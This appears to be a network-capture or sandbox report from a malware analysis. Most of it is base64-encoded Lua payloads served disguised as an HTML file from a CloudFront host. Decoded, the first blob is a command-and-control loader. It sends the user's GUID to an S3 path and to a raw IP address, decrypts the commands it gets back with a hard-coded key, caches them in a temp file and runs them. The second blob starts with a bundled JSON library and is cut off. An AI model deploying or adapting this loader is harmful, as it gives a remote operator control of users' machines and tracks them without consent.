cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d214gtxr0n6ti0.cloudfront.net (54.230.45.231:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
20 | /v2/tfn5306351516.html(19) | text/html | tfn5306351516.html(19) | 200 OK | TEXT | 46.2 KB | 10/07/24 23:11:01 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
